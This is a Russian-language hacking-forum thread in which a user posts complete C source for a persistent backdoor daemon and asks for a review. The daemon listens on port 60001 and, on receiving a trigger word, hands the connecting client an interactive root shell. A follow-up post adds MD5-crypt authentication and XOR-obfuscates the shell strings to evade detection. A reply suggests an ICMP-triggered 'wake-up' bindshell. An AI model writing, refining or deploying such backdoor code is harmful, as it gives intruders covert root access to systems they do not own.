1. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Просьба к гуру *NIX-систем и кодинга посмотреть прилагающийся код.
    Написал тут демона, компилируется (без SUID-бита) и стартуется рутом, прослушивает порт 60001, ожидает строку "getroot" и дает рут-шелл.
    Правильно ли он написан? Например, я не силен в обработке сигналов, посылаемых демону. Что можете посоветовать по коду, что переписать грамотнее, что добавить можно?
    Code:
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/wait.h>
    //#include <syslog.h>
    #include <netinet/in.h>
    
    #define PORT 60001
    #define MAX_SIZE 255
    
    void sighandler (int signum)
    {
      waitpid (0, 0, WNOHANG);
    }
    
    void mainloop ()
    {
      int sock_srv, sock_cli, len_cli;
      struct sockaddr_in sin_srv, sin_cli;
    
      if ((sock_srv = socket (AF_INET, SOCK_STREAM, 0)) != -1)
      {
        memset (&sin_srv, '\0', sizeof (struct sockaddr_in));
        sin_srv.sin_family = AF_INET;
        sin_srv.sin_addr.s_addr = htonl (INADDR_ANY);
        sin_srv.sin_port = htons (PORT);
        len_cli = sizeof (struct sockaddr_in);
        if ((bind (sock_srv, (struct sockaddr *) &sin_srv, sizeof (struct sockaddr_in))) != -1)
        {
          while (1)
          {
            if ((listen (sock_srv, 10)) != -1)
            {
              if ((sock_cli = accept (sock_srv, (struct sockaddr *) &sin_cli, &len_cli)) != -1)
              {
                //syslog (LOG_NOTICE, "connection from %s", inet_ntoa (sin_cli.sin_addr));
                if (!fork ())
                {
                  dup2 (sock_cli, 0);
                  dup2 (sock_cli, 1);
                  dup2 (sock_cli, 2);
                  operate (sock_cli);
                }
                close (sock_cli);
              }
            }
          }
        }
        close (sock_srv);
        exit (0);
      }
    }
    
    void operate (int sock)
    {
      char answer [MAX_SIZE];
      char query [MAX_SIZE];
    
      memset (answer, '\0', MAX_SIZE);
      memset (query, '\0', MAX_SIZE);
      read (sock, &query, MAX_SIZE);
      query [strlen (query) - 1] = '\0';
      if (strstr (query, "getroot") != NULL)
      {
        //sprintf (answer, "Your string: %s, length: %d\n\0", query, strlen (query));
        //write (sock, answer, strlen (answer));
        setreuid (0, 0);
        setregid (0, 0);
        execl ("/bin/sh", "sh", "-i", NULL);
      }
      else
      {
        strcpy (answer, "Fuck out\n\0");
        write (sock, answer, strlen (answer));
      }
      exit (0);
    }
    
    void daemonize ()
    {
      int pid;
      struct sigaction sa;
    
      pid = fork ();
      switch (pid)
      {
        case 0:
          setsid ();
          chdir ("/");
          //close (0);
          //close (1);
          //close (2);
          memset (&sa, '\0', sizeof (struct sigaction));
          sa.sa_handler = &sighandler;
          sigaction (SIGCHLD, &sa, 0);
          //openlog ("mydaemon", 0, LOG_USER);
          mainloop ();
          //closelog ();
          exit (0);
        case -1:
          printf ("[-] fork\n");
          break;
        default:
          printf ("ok. PID = %d\n", pid);
          break;
      }
    }
    
    int main ()
    {
      daemonize ();
      exit (0);
    }
    
     
    2 people like this.
  2. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Ндя, местные гуру даже код простенького бэкдора покритиковать не могут :(
     
  3. Ky3bMu4

    Ky3bMu4 Elder - Старейшина

    Joined:
    3 Feb 2007
    Messages:
    487
    Likes Received:
    284
    Reputations:
    42
    Зависит от пользователя, от которого запущен демон. Но для начала неплохо :) . Но, всё таки, посмотри в сторону pty. Если интересна авторизация, то можно не читать строку "getroot" , а ловить icmp пакеты и парсить их(wake-up bindshell)
     
    #3 Ky3bMu4, 18 Mar 2008
    Last edited: 18 Mar 2008
  4. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Да, все правильно. Демон запускаться будет от рута. А авторизацию я сделал таким образом
    Code:
    #define MAGIC_WORD "тут_хэш_md5_unix"
    char magic_word1 [] = "\xae\xe3\xe8\xef\xae\xf2\xe9\x00"; // поксоренный c 0x81 /bin/sh
    char magic_word2 [] = "\xf2\xe9\x00"; // "sh" ^ 0x81
    char magic_word3 [] = "\xac\xe8\x00"; // "-i" ^ 0x81
    ...
      if (strstr (crypt (query, "$1$это_соль"), MAGIC_WORD) != NULL)
      {
        for (i = 0, len = strlen (magic_word1); i < len; magic_word1 [i++] ^= 0x81);
        for (i = 0, len = strlen (magic_word2); i < len; magic_word2 [i++] ^= 0x81);
        for (i = 0, len = strlen (magic_word3); i < len; magic_word3 [i++] ^= 0x81);
        setreuid (0, 0);
        setregid (0, 0);
        execl (magic_word1, magic_word2, magic_word3, NULL);
      }
    
    По-ламерски, конечно, сделано, отловить пасс сниффером не составит труда. А насчет icmp-пакетов сэнкс, я уже подумывал
     
  5. zythar

    zythar Elder - Старейшина

    Joined:
    16 Feb 2008
    Messages:
    517
    Likes Received:
    109
    Reputations:
    5
    почемц memset (&sin_srv, '\0', sizeof (struct sockaddr_in)); а не bzero(&sin_srv, sizeof (struct sockaddr_in));?
     
  6. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Можно и так, результат все равно один.